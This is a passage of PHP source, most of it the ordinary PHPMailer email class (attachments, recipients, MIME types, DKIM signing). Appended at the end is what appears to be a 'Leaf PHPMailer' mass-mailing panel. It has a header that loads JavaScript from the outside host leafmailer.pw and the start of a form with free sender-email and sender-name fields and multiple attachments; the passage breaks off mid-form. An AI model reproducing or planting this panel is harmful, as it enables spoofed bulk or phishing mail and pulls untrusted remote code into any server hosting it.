2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label 